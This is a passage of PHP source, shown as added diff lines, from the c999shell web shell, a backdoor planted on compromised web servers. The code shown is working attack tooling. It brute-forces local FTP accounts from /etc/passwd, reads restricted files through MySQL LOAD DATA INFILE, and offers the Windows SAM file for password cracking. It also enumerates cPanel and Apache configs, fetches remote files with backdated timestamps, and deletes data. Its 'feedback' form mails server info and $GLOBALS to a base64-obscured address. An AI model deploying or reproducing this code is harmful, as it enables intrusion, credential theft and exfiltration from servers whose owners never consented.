border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } +} +echo "</td></tr></table>"; +if ($sql_sock) +{ + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; +} +echo "</table>"; +} +if ($act == "mkdir") +{ +if ($mkdir != $d) +{ + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; +} +$act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ +echo "<b>Ftp Quick brute:</b><br>"; +if (!win) {echo "This functions not work in Windows!<br><br>";} +else +{ + function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } +} +} +if ($act == "d") +{ +if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} +else +{ + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; +} +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();} +if ($act == "security") +{ +echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; +if (!$win) +{ + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} +} +else +{ + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";} +} +if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} +if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} +if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} +if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} +if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} +function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} +displaysecinfo("OS Version?",myshellexec("cat /proc/version")); +displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); +displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); +displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); +displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); +displaysecinfo("RAM",myshellexec("free -m")); +displaysecinfo("HDD space",myshellexec("df -h")); +displaysecinfo("List of Attributes",myshellexec("lsattr -a")); +displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); +displaysecinfo("Is cURL installed?",myshellexec("which curl")); +displaysecinfo("Is lynx installed?",myshellexec("which lynx")); +displaysecinfo("Is links installed?",myshellexec("which links")); +displaysecinfo("Is fetch installed?",myshellexec("which fetch")); +displaysecinfo("Is GET installed?",myshellexec("which GET")); +displaysecinfo("Is perl installed?",myshellexec("which perl")); +displaysecinfo("Where is apache",myshellexec("whereis apache")); +displaysecinfo("Where is perl?",myshellexec("whereis perl")); +displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); +displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); +displaysecinfo("locate my.conf",myshellexec("locate my.conf")); +displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ +if ($mkfile != $d) +{ + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} +} +else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ +echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; +foreach(array("md5","crypt","sha1","crc32") as $v) +{ + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; +} +echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> +<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> +<br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; +echo "<center>base64_decode - "; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} +else +{ + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; +} +echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) +{ + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ +$arr_copy = $sess_data["copy"]; +$arr_cut = $sess_data["cut"]; +$arr = array_merge($arr_copy,$arr_cut); +if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} +else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ +if (($submit == $rndcode) and ($submit != "")) +{ + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} +} +else +{ + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; +} +} +if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ +$suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); +if (!empty($submit)) +{ + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; +} +else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ +echo "<b>Search in file-system:</b><br>"; +if (empty($search_in)) {$search_in = $d;} +if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} +if (empty($search_text_wwo)) {$search_text_regexp = 0;} +if (!empty($submit)) +{ + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c999fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; +if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ +$mode = fileperms($d.$f); +if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} +else +{ + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } +} +} +if ($act == "upload") +{ +$uploadmess = ""; +$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); +if (empty($uploadpath)) {$uploadpath = $d;} +elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} +if (!empty($submit)) +{ + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } +} +if ($miniform) +{ + echo "<b>".$uploadmess."</b>"; + $act = "ls"; +} +else +{ + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; +} +} +if ($act == "delete") +{ +$delerr = ""; +foreach ($actbox as $v) +{ + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} +} +if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} +$act = "ls"; +} 